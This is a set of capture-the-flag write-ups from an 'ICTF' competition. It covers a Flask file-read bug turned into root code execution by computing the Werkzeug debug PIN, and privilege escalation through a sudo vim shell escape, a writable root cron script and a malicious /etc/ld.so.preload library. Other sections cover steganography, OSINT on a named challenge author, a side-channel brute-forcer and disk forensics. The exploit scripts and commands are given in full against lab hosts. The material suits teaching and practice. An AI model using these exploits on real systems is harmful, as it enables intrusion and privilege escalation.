A web page /login
with a password
input field.
Whatever the provided password is we go through the same events:
Guess
and not a login from now on.In the headers we notice what first seems like a regular JWT token:
Set-Cookie: session=.eJwNyjsKQkEMRuG9pE6R159M7lbE4oLeVnEUQXHvTnP4ivOl-z7n-_a40Eaf_UpM8_k6DtpOEdIjVtlCNawrOEVSpcbgDotRvZTeaADO6oZEhXGtGQOaXG7e2lBOVQNE4vz7AxOIG_c.YkhEmQ.gjNanHDNh73EWuT62FTE-1NV6gA; HttpOnly; Path=
A closer look at this JWT on https://jwt.io
shows that the first part is not a valid encoded JSON.
cyberchef
highlights that it's actually a ZLIB
chunk of data.And flag !
An obvious arbitrary file read vulnerability allows us to read many files on the system as root. We are able to read the source code of the challenge (/enumerator_hjikmrfvyg/enumerator.py
):
from flask import Flask, session, redirect, url_for, request, render_template
from werkzeug.debug import DebuggedApplication
import requests
import random
import os
app = Flask(__name__)
app.secret_key = "qMUUE3lTQqTyMxxIadQ3"
@app.route("/", methods=["GETPOST"])
def index():
data = """
<h1> Continous Automatic Tested Enumerator </h1>
<h3> Tired of having to browse so many websites in a single day? </h3>
<p> Our enumeration service allows you to look up any page on the web from the confort of our own app. </p>
<p> What are you waiting for? Start searching! </p>
<form action="" method="post">
<p> URL: <input type="text" name="url"> </p>
<p> <input type="submit" value="SuperFastSearch"> </p><p>
</p></form>
"""
if request.method == "GET":
return generate_page(data)
if request.method == "POST":
url = request.form["url"]
if "file" in url:
with open(url[7:]) as f:
contents = f.readlines()
else:
r = requests.get(url)
contents = r.text
return generate_page(f"<div> {data} </div> <div> {contents} </div>")
def generate_page(data):
return f"""
<style>
body {{
background-color: #e0f9f9;
}}
</style>
<div class="content">
{data}
</div>
"""
if __name__ == "__main__":
port = int(os.environ.get("PORT", 5000))
app.run(debug=True, host="0.0.0.0", port=port)
A little script to automate that:
#!/usr/bin/python3
import requests
import sys
if len(sys.argv) < 2:
print("Provide path to file as arg")
exit(1)
url = "http://192.168.125.100:9002/"
r = requests.post(url, data={"url": f"file://{sys.argv[1]}"})
if r.status_code != 200:
print("error...\n\n")
print(r.text)
exit(1)
try:
index = r.text.find("<div> [")
array = r.text[index + 6 : -18]
a = eval(array)
[print(l, end="") for l in a]
except:
print(r.text)
We understand the server runs Flask + Werkzeug with debug mode activated. In order to access the debug console, which would give us remote code execution as root, we need to compute the PIN code of the debug console.
We learn about these PIN codes and understand they can be computed by gathering various elements about the system through the arbitrary file read vulnerability.
By looking at Werkzeug's source code, we can see we need to identify two arrays of elements: probably_public_bits
and private_bits
.
The first array is easily filled:
probably_public_bits = [
"root", # username
"flask.app", # modname
"Flask", # getattr(app, '__name__', getattr(app.__class__, '__name__'))
"/usr/local/lib/python3.8/site-packages/flask/app.py", # getattr(mod, '__file__', None),
]
For the second array, we need to predict the output of uuid.getnode()
and retrieve the machine ID:
eth0
interface through /sys/class/net/eth0/address
/etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
┌╼ 17:12:06 ~/Documents/ctf/ictf/enumerator └⏵ ./get_file.py /proc/net/arp IP address HW type Flags HW address Mask Device 172.24.0.1 0x1 0x2 02:42:bf:22:96:2f * eth0 ┌╼ 17:13:27 ~/Documents/ctf/ictf/enumerator └⏵ ./get_file.py /sys/class/net/eth0/address 02:42:ac:18:00:03 ┌╼ 17:27:28 ~/Documents/ctf/ictf/enumerator └⏵ python3 Python 3.8.10 (default, Mar 15 2022, 12:22:08) [GCC 9.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> 0x0242ac180003 2485378351107
┌╼ 17:19:20 ~/Documents/ctf/ictf/enumerator └⏵ ./get_file.py /proc/self/cgroup 11:name=systemd:/docker/3e5f58710ee3415ec2a1536107725aff6f8c43702c1c4d6da6ba93144ed0c856
Final code to compute PIN code:
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
str(0x0242ac18000a),# str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
"f4a22ca0-c5ae-400a-923a-83b34997867f3e5f58710ee3415ec2a1536107725aff6f8c43702c1c4d6da6ba93144ed0c856"
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b'pinsalt')
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
We obtain 563-338-883
. We are then able to unlock the debug console. We only need now to locate the flag and print it:
ICTF{th3_fl4g_w4s_h1d1ng_1n_pl41n_s1ght}
When starting a TCP
connection with the provided IP address on the provided port we receive the following:
┌╼ 14:57:00 ~ └⏵ nc 192.168.125.100 9003 Alert! Alert! Agent Lee's cover has been blown! He needs immediate extraction! He has managed to contact us just in time and we sent a helicopter to pick him up. Unfortunately, he transmitted the wrong coordinates. To make things worse, he needs to navigate a huge maze. His position is marked with an L in the maze, while our helicopter is marked with an H. We extracted a satellitle image of the maze and marked the walls with #. We need you to find a path that agent Lee can follow in order to get to safety. Provide the path as one long line of characters L, R, U, D which symbolise taking a step left, right, up or down. Example: L # # # # # O O O # O # # O # # O # O O # O O O O # # O # O O O O O O H Path (any correct solution is accepted): DRDDLDDRRRUURRDD Ready? (Y/N)
Answering Y
brings us the real challenge data:
Ready? (Y/N)Y L O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # O O # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # O O # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # O # O # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # O O # # # # # # # # # O O O # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # O O O O # # # O O # # # # # # # O O O # # # # # # # # # # # O O # # # # O O O O O # # # # # # # # # O O O # # O O O O # # # # # # # # # O O O O O O O O O O O # O # # # # O O O O O O # O O # # # # # # # O O # O O # O O # # # # # # # # # # # # O O O # # # # O O O # # # # O O # O # # # O O # # # # # # # O # # O O # O O # # # # # # # # # # # # # # O # O # # O # # # # # # # # # O # # # # # # O # # # # # O # # # # # # # # # # # # # # # # # # # # # O # O # # O # # # # # # # # # # # # # # # # O O O O O # O # # # # # # # # # # # # # # # # # # # # # # # O # # O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # O O # # O # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O O # O # # # # # # # # # # # # # # # # # # # # # # # # # # O O # # # # # O O O O # # O O # # # # O # # O O # # # # # # # # # # # # # O # # # # # # # # # # # # # O # # # # # O # O O # # O O O O O # O O # O O # # # # # # # # # # # # # O O O # # # # # # # # # # O O # # # # # # # O # # # # # # # O O O O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O O O # # # # # # # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O # # # # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O # # # # # # O O O # # # # # # # # # # # # O O # # # # # O O O # # # # # # # # # # # # # # # # O O # # # # # # # # # O O O # # # # # # # # # # # O O # # # # # # O # # # # # # # # # # # # # # # # O O O O # # # # # # O # # O # # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O # O O O O # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O # # # # O O O O # # # # # # # O # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # O O # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # O O # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # O O # O O # # # # # # # # # # # # # # # # # # # # O O # # # # # O O O # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # O O O O O O # # # # # O # # # # # # # # # # # # # # # # # # # O O O # # # # # # # O # # # # # # # # # O O # # # # # # # # O # O # # # # # # # # # # # # # # # # O O # O O # # # # # O O # # # # # # # # # # O # # # # # # # # O O O # # # # # # # # # # # # # # # # O O # # O O O O O O O # # # # # # # # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # O O O O # # # # O O # # # # # # # # # # # O O O O O # # # # # # # # # # # # # # # # # # O # # # # # # # O O O O # # O O O O O # # # # # # # O O O # O O # O # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # O O O # # # # # O O O O O # O O # # # # # # # # # # # # # # # # O # O # # # # # # # # # # # # # # # # # O # # # # # # # # # O # O O # # # # # # # # # # # O # # # # O O O # # O O O O O O O # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # # # # O O # # # # O # # # # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # O # # # # # # O O O # # # # O # # # # # # # # # # # # # # # # # # O # O # # # # # # # # # # # # # # O # # # # # # O O O # # # # O # O O # # # # # # # # # # # # # # # O # O # # # # # # # # # # # # # O O # # # # # # O O O # # # # O O O # # # O O # # # # # # # # # # # # # O # # # # # # # # # # # # # O # # # O O # # O O # # # # # # # # # # # O O O # # # # # # # # # # # # O # # # # # # # # # # # # # # # O O O O # # O O O O # # # # # O # # O O # O O # # # # # # # # # # # O # # # # # # # # # # # # # # # O # # # # # O # # O # # # # # O # # O O O # O # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # O # # O # # # # # O O # # # O O O O # # # # # # # # # # H Hurry! We only have a few seconds to spare! Path:
It's quite straight forward, we must write a script that will connect to the server, parse the input and do some Depth first search
computations to find a way out.
Note that the script is absolutely not optimized. On the contrary. The complexity of the real challenge data is low enough so that we do not have to care about scripting right.
#!/usr/bin/python3
import pwn
import copy
def go_through(maze, pos, history, target):
history_cpy = copy.deepcopy(history)
if pos == target:
return True
x, y = pos
if (maze[y][x + 1] == ord("O") or maze[y][x + 1] == ord("H")) and (
x + 1,
y,
) not in history_cpy:
res = go_through(maze, (x + 1, y), [*history_cpy, (x + 1, y)], target)
if res == True:
return "R"
elif res != False:
return "R" + res
if (maze[y + 1][x] == ord("O") or maze[y + 1][x] == ord("H")) and (
x,
y + 1,
) not in history_cpy:
res = go_through(maze, (x, y + 1), [*history_cpy, (x, y + 1)], target)
if res == True:
return "D"
elif res != False:
return "D" + res
if (maze[y - 1][x] == ord("O") or maze[y - 1][x] == ord("H")) and (
x,
y - 1,
) not in history_cpy:
res = go_through(maze, (x, y - 1), [*history_cpy, (x, y - 1)], target)
if res == True:
return "U"
elif res != False:
return "U" + res
if (maze[y][x - 1] == ord("O") or maze[y][x - 1] == ord("H")) and (
x - 1,
y,
) not in history_cpy:
res = go_through(maze, (x - 1, y), [*history_cpy, (x - 1, y)], target)
if res == True:
return "L"
elif res != False:
return "L" + res
return False
r = pwn.remote("192.168.125.100", 9003)
init_message = b"Ready? (Y/N)"
challenge_message = b"\n\nHurry! We only have a few seconds to spare!\nPath:"
r.recvuntil(b"Ready? (Y/N)")
r.sendline(b"Y")
data = r.recvuntil(challenge_message)
maze = data[: -(len(challenge_message))].split(b"\n")
maze = [line.replace(b" ", b"") for line in maze]
print_maze(maze)
start = False
target = False
W = len(maze[0]) - 1
# Find the start point and target point
# For this challenge it seemed to always be the top left point
# and the bottom right points. But just in case:
for y in range(len(maze)):
line = maze[y]
if line[0] == ord("L"):
start = (0, y)
if line[W] == ord("H"):
target = (W, y)
if start != False and target != False:
break
assert start != False and target != False
res = go_through(maze, start, [start], target)
print(res)
r.sendline(res.encode())
r.interactive()
r.close()
RDRRDRDDDRDRDRDRRDRRRDDDRRRRRDDRDRRDRDDDDRDDRRDRRDDRRRDRDRDRRDRDRDLLDDDDDDDRRRRRDDDRDRDRRDDLDDDDRRRRRR RR [*] Switching to interactive mode We sent the path to our agent. Let's see if he makes it. You did it! Agent Lee has been extracted! Here is a token of our appreciation: ICTF{l33_s_4lg0r1thm_h4s_a_w0r5t_cas3_c0mpl3x1ty_0f_n_squ4r3d}
user@730d3d393080:~$ sudo -l [sudo] password for user: Matching Defaults entries for user on 730d3d393080: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user may run the following commands on 730d3d393080: (root) /usr/bin/vim
😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨
Inside vim:
... ~ ~ ~ :!/bin/sh
Eventually:
[No write since last change] # whoami root # ls flag.txt # /bin/cat flag.txt ICTF{v1m_1s_b3tt3r_th4n_3m4c5_4nd_n4n0_h4h4h4}
In this second challenge, we do not have any sudo
configuration. But after looking around a bit we eventually find the crontab
configuration!
user@69e21c76eb74:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow usercommand 17 ** * *root cd / && run-parts --report /etc/cron.hourly 25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # * * * * * root bash /usr/share/cleaner/clean.sh #
This cron
job runs clean.sh
as root
very regularly.
user@69e21c76eb74:~$ ls -lah /usr/share/cleaner/clean.sh -rw-rw-rw- 1 root root 45 Apr 2 13:48 /usr/share/cleaner/clean.sh
We can even edit it!
GNU nano 2.9.3 /usr/share/cleaner/clean.sh rm -rf /tmp/* chmod 0777 /home/user/flag.txt
After about a minute we are able to read the flag.
user@69e21c76eb74:~$ ls -lah total 792K drwxr-xr-x 1 user user 4.0K Apr 2 13:31 . drwxr-xr-x 1 root root 4.0K Mar 30 19:10 .. -rw------- 1 user user 23 Apr 2 13:27 .bash_history drwx------ 2 user user 4.0K Apr 2 13:19 .cache drwxrwxr-x 3 user user 4.0K Apr 2 13:30 .local -rwxrwxrwx 1 root root 205 Mar 30 18:16 flag.txt -rw-rw-r-- 1 user user 758K Apr 2 13:31 linp.sh user@69e21c76eb74:~$ cat flag.txt ICTF{cr0nt4b_1s_t1m3l3ss_1f_y0u_us3_1t_r1ght}
The objective is the same as the two precedent challenges. Access /home/user/flag.txt
's content.
user@864543330b85:~$ ls -lah flag.txt -r-------- 1 root root 65 Mar 30 18:16 flag.txt
Enumerating with linPEAS
will not give much. But after looking around for a while and using many vulnerabilities enumerators when the inspiration was low enough.
The linux-smart-enumeration
eventually helped with a nice feature that looks for writable files outside a user's home.
user@864543330b85:~$ bash linux-smart-enumeration/lse.sh -l 1 --- If you know the current user password, write it here to check sudo privileges: b35t_h4ck3r --- [...] # trimed non-used output ============================================================( file system )==== [*] fst000 Writable files outside user's home.............................. yes ! --- /tmp /etc/ld.so.preload
This /etc/ld.so.preload
looks very promising. This file is a replacement of the LD_PRELOAD
environment variable. It means the shared library pathes written inside will be loaded on binaries execution. It means that if we can indeed write in this file, we will be able to get a library of our choice loaded, during a root
process for instance ! In other words, it's our entry point to an arbitrary code execution
.
user@864543330b85:~$ ls -lah /etc/ld.so.preload -rw-rw-rw- 1 root root 22 Apr 2 23:36 /etc/ld.so.preload
We have the ability to have a library of our choice loaded before any binary execution. The plan here is to compile a custom library with some initialisation code that will change the permissions on the /home/user/flag.txt
file.
Note that we also could have aimed at obtaining a
root
shell. One way would have been to makeroot
craft ansuid
script starting a shell. But we'll get straight to the objective of the challenge.
We'll use the __attribute__((__constructor__))
on our payload
function in order to have it run during the library loading.
#include <sys/stat.h>
__attribute__((__constructor__)) void payload(void)
{
chmod("/home/user/flag.txt", 07777);
}
We compile it as a shared library. Then we feed it to the /etc/ld.so.preload
.
user@864543330b85:~$ gcc -shared -fPIC -ldl -o exploit.so exploit.c user@864543330b85:~$ echo "/home/user/exploit.so" >> /etc/ld.so.preload
After that we just have to wait for the root
user to run some process. One way to trigger in this particular challenge that is to initiate a new ssh
connection. That done we now have read access to the flag !
user@864543330b85:~$ ls -lah flag.txt -rwsrwsrwt 1 root root 65 Mar 30 18:16 flag.txt user@864543330b85:~$ cat flag.txt ICTF{1_kn3w_1_sh0uld_h4v3_p41d_m0r3_att3nt1on_t0_th0se_c_cl4ss3s}
Hint 1: Not everything has to do with runnable code
Hint 2: Never forget your origins
We find the original copy pastas on reddit, and they're exactly the same as in the challenge, so the actual challenge entirely lies somewhere else in the file.
We notice there are additional whitespaces and tabulations between the lines. These are reminiscent of the Whitespace programming language, but we are not able to make sense out of it.
Eventually, we stumble upon stegsnow, a command line tool to hide data in text files using whitespaces and tabs.
Some educated guess later, we find out the password is the Attack on Titan's manga author.
╭─face@0xff ~/ctf/imperial/snowman ╰─$ stegsnow -p 'Hajime Isayama' -C AoT_trash_talk.txt ICTF{50m30n3_h4735_4774cK_0n_T174n5}%
Getting RickRolled will be the Least of your problems!\00
Access the required file here: https://drive.google.com/file/d/13pDdFZpIW1pwUWcjvAwfP05zSfTzLmi-/view?usp=sharing
We are given a wav file. The descriptions hints at LSB steganography.
A little python script to extract the LSB binary stream:
f = open("sorry.wav", "rb").read()
data = f[44:] # wav header
for i in range(len(data)):
print((data[i] & 1), end="")
There's a 512-bit binary stream at the beginning:
01100111011001100111011001001110010101010011100001110101011000110011100101110110011000010100110101110001010101100100001100101011011000100101010101000011010011010100001001110111011000100110010000111000001101110010111101100001010101010111000101100100011101100110010101001011011101110010101101000010010001000100100101010010001101010011011101010100010010110011100101001010001110000100100101110011010100000011011101100110011100010100011001110101001110000101011101000010010000100111011001110011011101010111000001011000
…which decodes as gfvNU8uc9vaMqVC+bUCMBwbd87/aUqdveKw+BDIR57TK9J8IsP7fqFu8WBBvsupX
.
Then, at the end of the audio file, we notice some data encoded in the spectrum view:
…which decodes as "I_got_rickrolled".
Some educated guess leads us to realize the flag is AES-encrypted with "I_got_rickrolled" as the key:
ICTF{https://docsoc.co.uk/random_ending}
By Googling the challenge author's nickname PANGAV2001
, we find his Linkedin account and his real name: Panayiotis Gavriil
.
We find his Facebook, and we are sure it's the right one, as he has the same profile picture.
By crawling in his Facebook pictures, we find dog pictures and the flag: https://www.facebook.com/photo/?fbid=734265183318941&set=pb.100002063996513.-2207520000..
ICTF{17'5_M1l3y_bu7_n07_CyRu5}
This was a side-channel challenge.
We fist had to recover the flag length, and then we could bruteforce each character independently.
As for each step, the midi file was the same, we just used md5 to find the different one.
import requests as req
import hashlib
flag=""
# Getting flag length
for k in range(100):
res = req.get("http://192.168.125.100:5002/"+'A'*k)
h=hashlib.md5(res.content).hexdigest()
if h != 'c39033fc9d44b8e8b201a959a6ba979f' and h!= "fdffc9472282c425135d88b2cd9898a9" and h!= "7dfb9a4219d20c6babc4877451844e3c":
flag_length = k
print("flag len got : ", flag_length)
for k in range(flag_length):
href_flag= flag + "." # suppose that there are no "." in the flag
href_flag += (flag_length-len(href_flag))*'A'
href = hashlib.md5(req.get("http://192.168.125.100:5002/"+href_flag).content).hexdigest()
for flag_i in [chr(i) for i in range(32, 127)]:
# for k in range(100):
flag_ = flag + flag_i
flag_ += (35-len(flag_))*'A'
# flag= urllib.parse.quote_plus("ICT"+flag)
res = req.get("http://192.168.125.100:5002/"+flag_)#flag_)
h=hashlib.md5(res.content).hexdigest()
if h!= href and h != 'c39033fc9d44b8e8b201a959a6ba979f' and h!= "fdffc9472282c425135d88b2cd9898a9" and h!= "7dfb9a4219d20c6babc4877451844e3c":
flag+=flag_i
print(flag)
break
Flag: ICTF{y0U_c4Nt_35c4pe_s1d3_Ch4Nn3lS}
We look at the files but nothing interesting here, so using sleuthkit we look for deleted files:
➜ your_files_are_my_files git:(main) ✗ fls file.img
r/r * 5: super_secret_flag.png
r/r 8: secret_flag.png
d/d 10: .Trash-1000
v/v 1108707: $MBR
v/v 1108708: $FAT1
v/v 1108709: $FAT2
V/V 1108710: $OrphanFiles
➜ your_files_are_my_files git:(main) ✗ sudo mount file.img mount_dir
Inside super_secret_flag.png, we find:
cat *
DGGZEV9ZADB1BGRFYJNFMW5FDGGZX2WWZZV9
binwalk
on secret_flag.png yields a docx file.
binwalk -e secret_flag.png
Its contents:
Dear Hacker,
You have stumbled upon my own private diary. This is all classefied information. Here we go:
[Monday, 30 February]
Today I created a few more challenges for the qualifiers. I have two great ideas for their flags: the first one will be ICTF{redacted_redacted_redacted} and the second one would be ICTF{ redacted_redacted_redacted redacted_redacted_redacted}.
The approach is quite similar for both. In order to get the flags you have to redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redthe_flag is_ictf{h4v3_y0u_s33n_my_fil35_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redactso_you_thought_this_is_easy?_redacted_redacted_redacted_redacted redacted_redacted_there_is_nothing_else_here_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted 